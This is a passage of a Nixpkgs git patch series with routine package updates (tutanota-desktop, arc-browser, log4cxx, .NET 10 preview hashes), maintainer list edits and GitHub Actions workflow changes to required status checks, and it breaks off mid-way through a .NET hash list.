index 2ffea6e5a7e7..b8a4041f7867 100644
--- a/pkgs/by-name/tu/tutanota-desktop/package.nix
+++ b/pkgs/by-name/tu/tutanota-desktop/package.nix
@@ -46,7 +46,7 @@ appimageTools.wrapType2 rec {
     changelog = "https://github.com/tutao/tutanota/releases/tag/tutanota-desktop-release-${version}";
     license = licenses.gpl3Only;
     sourceProvenance = with sourceTypes; [ binaryNativeCode ];
-    maintainers = [ ];
+    maintainers = [ lib.maintainers.awwpotato ];
     mainProgram = "tutanota-desktop";
     platforms = [ "x86_64-linux" ];
   };

From ff53e487ddad86ac38dc12ef2c834c5e1cbf8d8e Mon Sep 17 00:00:00 2001
From: s0ssh <me@s0s.sh>
Date: Wed, 20 Aug 2025 16:00:59 -0500
Subject: [PATCH 3900/4511] tutanota-desktop: 299.250725.1 -> 301.250806.1

(cherry picked from commit 61accd1d09b6269bed42aaf792466152d60e4859)
---
 pkgs/by-name/tu/tutanota-desktop/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/tu/tutanota-desktop/package.nix b/pkgs/by-name/tu/tutanota-desktop/package.nix
index b8a4041f7867..200bb529de23 100644
--- a/pkgs/by-name/tu/tutanota-desktop/package.nix
+++ b/pkgs/by-name/tu/tutanota-desktop/package.nix
@@ -8,11 +8,11 @@
 
 appimageTools.wrapType2 rec {
   pname = "tutanota-desktop";
-  version = "299.250725.1";
+  version = "301.250806.1";
 
   src = fetchurl {
     url = "https://github.com/tutao/tutanota/releases/download/tutanota-desktop-release-${version}/tutanota-desktop-linux.AppImage";
-    hash = "sha256-nZ9LdXqGAEeCM/1tzfz0jnq6AyamobmP/vNgJoHjfhs=";
+    hash = "sha256-vnHw1cOvLuJZYxisVaF6sh5XBqlDiaCS3PLugbbNaKk=";
   };
 
   extraPkgs = pkgs: [ pkgs.libsecret ];

From b30d6b1030f2c80c91c991aeaf13377af53f10e9 Mon Sep 17 00:00:00 2001
From: s0ssh <me@s0s.sh>
Date: Wed, 20 Aug 2025 16:06:01 -0500
Subject: [PATCH 3901/4511] maintainers: add s0ssh

(cherry picked from commit feb7fb167804cb9378a1ac67d674c806e3636437)
---
 maintainers/maintainer-list.nix | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 1e96d75e1aeb..912d2a762e84 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -21792,6 +21792,13 @@
     github = "s0me1newithhand7s";
     githubId = 117505144;
   };
+  s0ssh = {
+	name = "s0ssh";
+	email = "me@s0s.sh";
+	github = "s0ssh";
+	githubId = 168315776;
+	keys = [ { fingerprint = "1D34 4976 77AD 462C CA9F  D5F1 FF16 29B1 3E89 9C1A"; } ];
+  };
   s1341 = {
     email = "s1341@shmarya.net";
     matrix = "@s1341:matrix.org";

From 38f6c9967dcf58965c8021370f97bbbdf99e0959 Mon Sep 17 00:00:00 2001
From: s0ssh <me@s0s.sh>
Date: Wed, 20 Aug 2025 16:10:45 -0500
Subject: [PATCH 3902/4511] tutanota-desktop: adopt

(cherry picked from commit f1bd6cc5832761dc9cf93ff5ffb1aaf5331b9324)
---
 maintainers/maintainer-list.nix              | 10 +++++-----
 pkgs/by-name/tu/tutanota-desktop/package.nix |  5 ++++-
 2 files changed, 9 insertions(+), 6 deletions(-)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 912d2a762e84..fd0d49694adf 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -21793,11 +21793,11 @@
     githubId = 117505144;
   };
   s0ssh = {
-	name = "s0ssh";
-	email = "me@s0s.sh";
-	github = "s0ssh";
-	githubId = 168315776;
-	keys = [ { fingerprint = "1D34 4976 77AD 462C CA9F  D5F1 FF16 29B1 3E89 9C1A"; } ];
+    name = "s0ssh";
+    email = "me@s0s.sh";
+    github = "s0ssh";
+    githubId = 168315776;
+    keys = [ { fingerprint = "1D34 4976 77AD 462C CA9F  D5F1 FF16 29B1 3E89 9C1A"; } ];
   };
   s1341 = {
     email = "s1341@shmarya.net";
diff --git a/pkgs/by-name/tu/tutanota-desktop/package.nix b/pkgs/by-name/tu/tutanota-desktop/package.nix
index 200bb529de23..d5beef0bf130 100644
--- a/pkgs/by-name/tu/tutanota-desktop/package.nix
+++ b/pkgs/by-name/tu/tutanota-desktop/package.nix
@@ -46,7 +46,10 @@ appimageTools.wrapType2 rec {
     changelog = "https://github.com/tutao/tutanota/releases/tag/tutanota-desktop-release-${version}";
     license = licenses.gpl3Only;
     sourceProvenance = with sourceTypes; [ binaryNativeCode ];
-    maintainers = [ lib.maintainers.awwpotato ];
+    maintainers = with lib.maintainers; [
+      awwpotato
+      s0ssh
+    ];
     mainProgram = "tutanota-desktop";
     platforms = [ "x86_64-linux" ];
   };

From 8824c563a706dc743a66511beed58b7f2ecd710b Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 22 Aug 2025 18:11:21 +0200
Subject: [PATCH 3903/4511] workflows/{merge-group,pr}: post "no PR failures"
 status manually

Posting the status manually allows us to avoid the strange "skipped ==
success" logic and properly skip the `unlock` job for pull_request
events in the next commit.

This should be much easier to understand than the previous logic.

(cherry picked from commit 2c25cb0891d23f052baac7db22004ec39e683921)
---
 .github/workflows/merge-group.yml | 30 ++++++++++++++++++---------
 .github/workflows/pr.yml          | 34 ++++++++++++++++++-------------
 .github/workflows/test.yml        |  7 +++++--
 3 files changed, 45 insertions(+), 26 deletions(-)

diff --git a/.github/workflows/merge-group.yml b/.github/workflows/merge-group.yml
index dac02065debf..e7404d5a6975 100644
--- a/.github/workflows/merge-group.yml
+++ b/.github/workflows/merge-group.yml
@@ -26,19 +26,29 @@ jobs:
       mergedSha: ${{ inputs.mergedSha || github.event.merge_group.head_sha }}
       targetSha: ${{ inputs.targetSha || github.event.merge_group.base_sha }}
 
-  # This job's only purpose is to serve as a target for the "Required Status Checks" branch ruleset.
+  # This job's only purpose is to create the target for the "Required Status Checks" branch ruleset.
   # It "needs" all the jobs that should block the Merge Queue.
-  # If they pass, it is skipped — which counts as "success" for purposes of the branch ruleset.
-  # However, if any of them fail, this job will also fail — thus blocking the branch ruleset.
-  no-pr-failures:
+  unlock:
     # Modify this list to add or remove jobs from required status checks.
     needs:
       - lint
-    # WARNING:
-    # Do NOT change the name of this job, otherwise the rule will not catch it anymore.
-    # This would prevent all PRs from passing the merge queue.
-    name: no PR failures
-    if: ${{ failure() }}
     runs-on: ubuntu-24.04-arm
+    permissions:
+      statuses: write
     steps:
-      - run: exit 1
+      - uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        with:
+          script: |
+            const { serverUrl, repo, runId, payload } = context
+            const target_url =
+              `${serverUrl}/${repo.owner}/${repo.repo}/actions/runs/${runId}`
+            await github.rest.repos.createCommitStatus({
+              ...repo,
+              sha: payload.merge_group.head_sha,
+              // WARNING:
+              // Do NOT change the name of this, otherwise the rule will not catch it anymore.
+              // This would prevent all PRs from merging.
+              context: 'no PR failures',
+              state: 'success',
+              target_url,
+            })
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index a7720df7226a..b280e7c4dd35 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -119,26 +119,32 @@ jobs:
       baseBranch: ${{ needs.prepare.outputs.baseBranch }}
       mergedSha: ${{ needs.prepare.outputs.mergedSha }}
 
-  # This job's only purpose is to serve as a target for the "Required Status Checks" branch ruleset.
+  # This job's only purpose is to create the target for the "Required Status Checks" branch ruleset.
   # It "needs" all the jobs that should block merging a PR.
-  # If they pass, it is skipped — which counts as "success" for purposes of the branch ruleset.
-  # However, if any of them fail, this job will also fail — thus blocking the branch ruleset.
-  no-pr-failures:
+  unlock:
     # Modify this list to add or remove jobs from required status checks.
     needs:
       - check
       - lint
       - eval
       - build
-    # WARNING:
-    # Do NOT change the name of this job, otherwise the rule will not catch it anymore.
-    # This would prevent all PRs from merging.
-    name: no PR failures
-    # A single job is "cancelled" when it hits its timeout. This is not the same
-    # as "skipped", which happens when the `if` condition doesn't apply.
-    # The "cancelled()" function only checks the whole workflow, but not individual
-    # jobs.
-    if: ${{ failure() || contains(needs.*.result, 'cancelled') }}
     runs-on: ubuntu-24.04-arm
+    permissions:
+      statuses: write
     steps:
-      - run: exit 1
+      - uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        with:
+          script: |
+            const { serverUrl, repo, runId, payload } = context
+            const target_url =
+              `${serverUrl}/${repo.owner}/${repo.repo}/actions/runs/${runId}?pr=${payload.pull_request.number}`
+            await github.rest.repos.createCommitStatus({
+              ...repo,
+              sha: payload.pull_request.head.sha,
+              // WARNING:
+              // Do NOT change the name of this, otherwise the rule will not catch it anymore.
+              // This would prevent all PRs from merging.
+              context: 'no PR failures',
+              state: 'success',
+              target_url,
+            })
diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml
index f26c371a5563..b3c2c6c59863 100644
--- a/.github/workflows/test.yml
+++ b/.github/workflows/test.yml
@@ -76,6 +76,9 @@ jobs:
     name: Merge Group
     needs: [prepare]
     uses: ./.github/workflows/merge-group.yml
+    # Those are actually only used on the merge_group event, but will throw an error if not set.
+    permissions:
+      statuses: write
     secrets:
       CACHIX_AUTH_TOKEN: ${{ secrets.CACHIX_AUTH_TOKEN }}
     with:
@@ -87,7 +90,7 @@ jobs:
     name: PR
     needs: [prepare]
     uses: ./.github/workflows/pr.yml
-    # Those are not actually used on pull_request, but will throw an error if not set.
+    # Those are actually only used on the pull_request_target event, but will throw an error if not set.
     permissions:
       issues: write
       pull-requests: write
@@ -102,7 +105,7 @@ jobs:
     name: Push
     needs: [prepare]
     uses: ./.github/workflows/push.yml
-    # Those are not actually used on push, but will throw an error if not set.
+    # Those are not actually used on the push or pull_request events, but will throw an error if not set.
     permissions:
       statuses: write
     secrets:

From fc237c6b07dff0804a9c2d300b3477f60148c17f Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 22 Aug 2025 18:14:07 +0200
Subject: [PATCH 3904/4511] workflows/{merge-group,pr}: avoid posting "no PR
 failures" for pull_request trigger

The required status checks should depend on exactly one workflow,
triggered via pull_request_target or merge_group. Anything that is
triggered by pull_request is for testing purposes of the workflows
themselves only.

(cherry picked from commit 5ff32763b23369e3e1c06d3728e71a7bace4e0e3)
---
 .github/workflows/merge-group.yml | 1 +
 .github/workflows/pr.yml          | 1 +
 2 files changed, 2 insertions(+)

diff --git a/.github/workflows/merge-group.yml b/.github/workflows/merge-group.yml
index e7404d5a6975..9af5cf0ebb71 100644
--- a/.github/workflows/merge-group.yml
+++ b/.github/workflows/merge-group.yml
@@ -29,6 +29,7 @@ jobs:
   # This job's only purpose is to create the target for the "Required Status Checks" branch ruleset.
   # It "needs" all the jobs that should block the Merge Queue.
   unlock:
+    if: github.event_name != 'pull_request'
     # Modify this list to add or remove jobs from required status checks.
     needs:
       - lint
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index b280e7c4dd35..936a9173e7c4 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -122,6 +122,7 @@ jobs:
   # This job's only purpose is to create the target for the "Required Status Checks" branch ruleset.
   # It "needs" all the jobs that should block merging a PR.
   unlock:
+    if: github.event_name != 'pull_request'
     # Modify this list to add or remove jobs from required status checks.
     needs:
       - check

From 78287e87bed9cc3297074a650e0ecf3a6bf25975 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 22 Aug 2025 18:44:19 +0200
Subject: [PATCH 3905/4511] workflows/check: allow owners to fail when
 ci/OWNERS is untouched

The owners check is not reproducible, because it depends on the state of
the NixOS org on GitHub. Owners can rename their accounts or they can
leave the organisation and access to Nixpkgs can be removed from teams.
All of this breaks the owners check for reasons unrelated to the PR at
hand.

This PR makes the check for the owners file conditionally required: Only
when the ci/OWNERS file is actually modified a failed check will block
merging the PR. When that's not the case, the check will still fail
visibily in the checklist, but the failure can be ignored.

This is especially relevant for the Merge Queue, which should not be
entirely blocked whenever any of these events happen.

Also, it allows passing the checks in a fork when testing, where the
owners check will *always* fail, because the respective teams and
members are never part of the "user org" that a fork is.

(cherry picked from commit 956d0a744d2fa17a392bb04b2a25d10aef642813)
---
 .github/workflows/check.yml | 4 ++++
 .github/workflows/pr.yml    | 1 +
 ci/github-script/prepare.js | 6 ++++--
 3 files changed, 9 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index ded8bad536c4..9192264266a1 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -12,6 +12,9 @@ on:
       mergedSha:
         required: true
         type: string
+      ownersCanFail:
+        required: true
+        type: boolean
       targetSha:
         required: true
         type: string
@@ -94,6 +97,7 @@ jobs:
   # handling untrusted PR input.
   owners:
     runs-on: ubuntu-24.04-arm
+    continue-on-error: ${{ inputs.ownersCanFail }}
     timeout-minutes: 5
     steps:
       - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 936a9173e7c4..81f0f1d0f507 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -61,6 +61,7 @@ jobs:
       headBranch: ${{ needs.prepare.outputs.headBranch }}
       mergedSha: ${{ needs.prepare.outputs.mergedSha }}
       targetSha: ${{ needs.prepare.outputs.targetSha }}
+      ownersCanFail: ${{ !contains(fromJSON(needs.prepare.outputs.touched), 'owners') }}
 
   lint:
     name: Lint
diff --git a/ci/github-script/prepare.js b/ci/github-script/prepare.js
index fb000cb6820a..0fcec880f376 100644
--- a/ci/github-script/prepare.js
+++ b/ci/github-script/prepare.js
@@ -76,8 +76,10 @@ module.exports = async ({ github, context, core }) => {
       })
     ).map((file) => file.filename)
 
-    if (files.includes('ci/pinned.json')) core.setOutput('touched', ['pinned'])
-    else core.setOutput('touched', [])
+    const touched = []
+    if (files.includes('ci/pinned.json')) touched.push('pinned')
+    if (files.includes('ci/OWNERS')) touched.push('owners')
+    core.setOutput('touched', touched)
 
     return
   }

From 4ccbd5ccc56f82328133cf848e1986194d6f3354 Mon Sep 17 00:00:00 2001
From: FlameFlag <57304299+FlameFlag@users.noreply.github.com>
Date: Sat, 23 Aug 2025 23:34:57 +0300
Subject: [PATCH 3906/4511] arc-browser: 1.106.0-66192 -> 1.109.0-67185

(cherry picked from commit d06b6e8bda2f3fb5251fa2d7c399081932e1c76f)
---
 pkgs/by-name/ar/arc-browser/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ar/arc-browser/package.nix b/pkgs/by-name/ar/arc-browser/package.nix
index 35d609920f94..8dcedf453eb2 100644
--- a/pkgs/by-name/ar/arc-browser/package.nix
+++ b/pkgs/by-name/ar/arc-browser/package.nix
@@ -11,11 +11,11 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "arc-browser";
-  version = "1.106.0-66192";
+  version = "1.109.0-67185";
 
   src = fetchurl {
     url = "https://releases.arc.net/release/Arc-${finalAttrs.version}.dmg";
-    hash = "sha256-AlM0wJ/2okrxw2ZpMPodlSVQaMMkBPf5iIN4bnMTaME=";
+    hash = "sha256-zVErRSKMd5xhIB5fyawBNEatenHnm+q7VLAE78PLkmY=";
   };
 
   nativeBuildInputs = [ undmg ];

From 75e39c9515a20584a891e47b78442955deed7875 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 6 Aug 2025 11:48:15 +0000
Subject: [PATCH 3907/4511] log4cxx: 1.2.0 -> 1.5.0

(cherry picked from commit b66de0973ddab400115f162dbc816cf64e5f1998)
---
 pkgs/by-name/lo/log4cxx/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/lo/log4cxx/package.nix b/pkgs/by-name/lo/log4cxx/package.nix
index 175bdb5d471e..56965768132e 100644
--- a/pkgs/by-name/lo/log4cxx/package.nix
+++ b/pkgs/by-name/lo/log4cxx/package.nix
@@ -15,11 +15,11 @@
 
 stdenv.mkDerivation rec {
   pname = "log4cxx";
-  version = "1.2.0";
+  version = "1.5.0";
 
   src = fetchurl {
     url = "mirror://apache/logging/log4cxx/${version}/apache-${pname}-${version}.tar.gz";
-    hash = "sha256-CfR0iqVnXvXAdwvtv14ASIZokzxak1pDrFuFviQ2xIo=";
+    hash = "sha256-qiP0fDFkqiz4SMIli0tLw3Lnlk1KPtR8K0pKkVxd+jc=";
   };
 
   postPatch = ''

From 1937aaffb8a632bf7d95c0fc323d8920a871c74b Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Tue, 12 Aug 2025 18:13:52 -0300
Subject: [PATCH 3908/4511] dotnet/update.nix: read artifact RID from prep
 script

(cherry picked from commit e09bc73e667edbfd27dbedd05c1486556d717934)
---
 pkgs/development/compilers/dotnet/update.nix | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/update.nix b/pkgs/development/compilers/dotnet/update.nix
index 41df7569be19..fbbac2845c4b 100644
--- a/pkgs/development/compilers/dotnet/update.nix
+++ b/pkgs/development/compilers/dotnet/update.nix
@@ -124,13 +124,16 @@ writeScript "update-dotnet-vmr.sh" ''
           gpg --batch --verify release.sig "$tarball"
       )
 
-      tar --strip-components=1 --no-wildcards-match-slash --wildcards -xzf "$tarball" \*/eng/Versions.props \*/global.json
+      tar --strip-components=1 --no-wildcards-match-slash --wildcards -xzf "$tarball" \*/eng/Versions.props \*/global.json \*/prep\*.sh
       artifactsVersion=$(xq -r '.Project.PropertyGroup |
           map(select(.PrivateSourceBuiltArtifactsVersion))
           | .[] | .PrivateSourceBuiltArtifactsVersion' eng/Versions.props)
 
       if [[ "$artifactsVersion" != "" ]]; then
-          artifactsUrl=https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.$artifactsVersion.centos.9-x64.tar.gz
+          artifactVar=$(grep ^defaultArtifactsRid= prep-source-build.sh)
+          eval "$artifactVar"
+
+          artifactsUrl=https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.$artifactsVersion.$defaultArtifactsRid.tar.gz
       else
           artifactsUrl=$(xq -r '.Project.PropertyGroup |
               map(select(.PrivateSourceBuiltArtifactsUrl))

From fdcbc89bc2c07017409ce4f5a5d49ef1b081efb7 Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Wed, 13 Aug 2025 00:37:55 +0000
Subject: [PATCH 3909/4511] dotnetCorePackages.sdk_10_0-bin:
 10.0.100-preview.6.25358.103 -> 10.0.100-preview.7.25380.108

(cherry picked from commit 90227a2bcc63fa7f111a599e4c236fe6417ef8ab)
---
 pkgs/development/compilers/dotnet/update.sh   |   6 +
 .../compilers/dotnet/versions/10.0.nix        | 431 ++++++++++--------
 2 files changed, 249 insertions(+), 188 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/update.sh b/pkgs/development/compilers/dotnet/update.sh
index 2eb3d9cc234e..e5024f8e4ba0 100755
--- a/pkgs/development/compilers/dotnet/update.sh
+++ b/pkgs/development/compilers/dotnet/update.sh
@@ -220,6 +220,12 @@ netcore_target_packages () {
         esac
     fi
 
+    if versionAtLeast "$version" 10; then
+        pkgs+=(
+            "Microsoft.NETCore.App.Runtime.NativeAOT.$rid"
+        )
+    fi
+
     generate_package_list "$version" '      ' "${pkgs[@]}"
 }
 
diff --git a/pkgs/development/compilers/dotnet/versions/10.0.nix b/pkgs/development/compilers/dotnet/versions/10.0.nix
index 3b43dd48e172..694ec7c5fb0d 100644
--- a/pkgs/development/compilers/dotnet/versions/10.0.nix
+++ b/pkgs/development/compilers/dotnet/versions/10.0.nix
@@ -11,28 +11,28 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "10.0.0-preview.6.25358.103";
-      hash = "sha512-DF9lEJjcAAcQtFB9hLXHbQaLW82nb4xlG9MKfbqpZzIQfidqcAuE2GOug/q6NNDcw+N88J0p0jKPz+k3qKmAKw==";
+      version = "10.0.0-preview.7.25380.108";
+      hash = "sha512-ZedqhbGvDx8Ajn1N9SRKq4q/m7rIQdPmcvQS7WOaijpqqjNa4P4zTd1kx+/kb6a5FJ6thD6yt/hEADTGpUpflg==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "10.0.0-preview.6.25358.103";
-      hash = "sha512-SV9nyI2/sg7Rh3f01eDScmjKYuuzI6xPX+iknl2zsecspqYBlWcPN1SvMDlaD/sK3GG5jl3hrM/GcOIqMpoFJA==";
+      version = "10.0.0-preview.7.25380.108";
+      hash = "sha512-OcQqR5UG3AFa0aQNIRTB3acRpQ+OhuF8ZpLIQM3xp+egvzzKRP20jja/gWhngIVtEA012XxLiNxJrHhzWhtLhQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "10.0.0-preview.6.25358.103";
-      hash = "sha512-npMO7GioGKn0FigriTOCsi4HgSENnW9YRJYXhyFtCGLR7b71FDLVY8nHemM0XYm9lI0tH23N1EwcDFyzHTDuNA==";
+      version = "10.0.0-preview.7.25380.108";
+      hash = "sha512-1UT2fr9kFvdpRb3+h3dTmGTnhKTvGKpYFRQuZUD8ukmaQ9ABhnXp35E8GJoA6d6pOERiRnhimzrVg/X3B4znUA==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "10.0.0-preview.6.25358.103";
-      hash = "sha512-zDr+tWvnlB9iEwnAlfa3PW/S1/0nw1lhvXBWghgE6o9O5sxc35V3aobPAs+Cm6DTN+lvNMouhjPt6pn2t4PvQQ==";
+      version = "10.0.0-preview.7.25380.108";
+      hash = "sha512-Eekoq6ATo+jeIsK0GafnGK8XkdjKtdOVT7deD1TWo04/nt0KV7nOmBUOhwUKY1sBsjvTQvOoDthn505f74N3Vg==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "10.0.0-preview.6.25358.103";
-      hash = "sha512-W1yNC4+7vV1XPSXJx7HFsvFCi1C1XZ7QVlfbu+xq4pt1/0cVJGZaRlbwBNUAv4PAdg2JGM4VYtcr3ZreOJ1hzA==";
+      version = "10.0.0-preview.7.25380.108";
+      hash = "sha512-pX4P7NG1jHIRJrbHrVP/MvDyA89o7HeuKucToiIH6flQ5ixTntZJupIW5qg2wsScJOltfP3A7j/w6MTRA9dHOQ==";
     })
   ];
 
@@ -40,118 +40,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-IKe0SROzAWJiFZyh2KVmTU5i8ddcEqvr5NIr+3RfzvBEYa3SNBbqy1W1x0TR2aEvYgSqxKSohhs9YVSDlrlx0Q==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-ekrR6F7cC48jWc0+Fyv3emOc5bkuv+yvKg2ZDjuv9gRf6e8zWGG6PkXKkPuo8sxHacPucgc1bIibVgVGJi20VA==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-5h33Uf2vFcjVkeNRD41YiERegQ7twv6sljYAMtz/kIHcIk90aB0ztZoKXXVi+vNxma7q/f5oPxhzUVidZ3vw8g==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-QUg7nZopW/0+Lnk4VeNHF3Ov3I6IuqsDSbvkeEDWjWyNXyOnJzDErKN3d5p6jWdmc3jjndyOw1137vaOKV5apA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-yImkb4fnUJIXR2Me5N8eOrX7w9+u8SAAIp8QtlWdZ6WptjG6PUByTs2hjTfX/aVKjO4p1dmKTaWJ0qYR6yuDEQ==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-k9W3fq0DjcbjxuveOQd1ou8fsHhNH/zHayPE9b1VRj2CijLx8krGGKkP3gUR7jLbOE+o9/Xln7cEsWzRBb9tdg==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-1FIBZLtWKIxULrRjLrldz6kwVSoAIf72kXKE0WgXECVez98NbQXLEM90hfpHj0LcQfzqOoP9kY48yRSoXp+rXg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-+zsgGnlZS6MdL/uyvAQAN0KAc8Vk1qT8ylHCi+iwUXqwslSGtZQku+qGvkd7hjMMnEbnSa5j7xJY4PNGDbco4Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-eMokXhxbTVJUHwlAhM1dVZmjljs/s1nRfvrJ0AeJaTbetXnD63Fd6sQeMmw/EifYnpdtxr/gIJRHLPsuLNDcAA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-+LG/u+Jp6b3Oyud1QYP3nph1uqtx4rhPbeH65leIMSFQg6bB8Jd9g4hNwESllHd6iKpKP7Sp17VxLKynzxwHDw==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-qw5Xb2+l14q+2OSesjwGn3gHpdFj0wUeA3RLEUaljzW8FF5HD78B6t1YuhFJhcENuDNAv5d8Fcy4N1mG/RQZUw==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-BE7hZwP4oZ5Xacmhjwc3Ciy0KJKOXwg9NJiBVzFv7xEJ7IqVceP7kAdMPsMNoojwz2KNs9gJdCOGOLtwyeTZyw==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-Etq6qbPIzEV8Z3+w0C1ibreDduKkAF1zZOGfvcBz3sjAC9sWs/qflxfKGZ7tBKhEV/A3vZWKNGyxYKnawCtC3g==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-oskWoBpDhGI4WBOJPFTBIirjUdSs7hvHKGuz8OQmrByyv8C3rY9jtt+sM45uqINoGNyYsgbUQkQlKFhIB+mT+Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-SINZNHzxrKbgD7VGAx9GDMIlMOmXSpqWIeLpmNpPTm2D7F+NfXv2lVLxLl0nLUAJ70ipI51HdHGyrKXTOaFO8g==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-+/apDtwjBvmEn40DJ4yPOYqCsgIfhrD/zPYY15A6ny5kN1n6uV8LgUce9vv2HatRsD4uOuepD2z22/TbB8GjLA==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-t2YTlMAHq+V8K8TnsFhUudCqiV5CElb/dk2tFmZ61Td4gyLY/iz+4q5lvpGAZOlCFddTtublSbIC3n4EH3liEQ==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-+uZHCjs+FlbFU2StjeANC3vvYjWd+6PlhIX0F8sHS60u3U9/HEi4JECQ0vhak5ODJCi+wktEKZQ53DwGAvPbJQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-lEaH55DO++s5EKEHfODZkF279HI5DROQgaTif93wcMg9mhL5kPHnLhi9S7qTMFKt+GQfmZWMlwZd+L6GVz+RVQ==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-mtm6VWoDGYg7qlqF6sFlf8LBEbGOL6ZCSoqzZ7hmDBy9UIe0AswL0d+AhsDOE5ewHifbK+vGqXeK83ZdL/1IRA==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-zuh5p3Hq0ejcgbCe3IaVOj+mItbRve25QdIXaGirOfDuO2a5fGXSO8RtgFosw8ar2jBSG3qL6loMFqqgkiEuVA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-/X/ugPn9DMhWz26lDvuSlBqX/s56B7Sl/Qkd2/Jy5iYw64+9tOFo0Xh4kz0fF5nOj1H9RbKxIaNfPVc41rxvIQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-Ivl/uKKvVrgGxfbC8SSz5N1NZRi39PQ5ZXfsECiSsiNR2ls02Wy2Icy5mLRUGCFY4FMILAKsgfJRKejafqGxyA==";
+        version = "10.0.0-preview.7.25380.108";
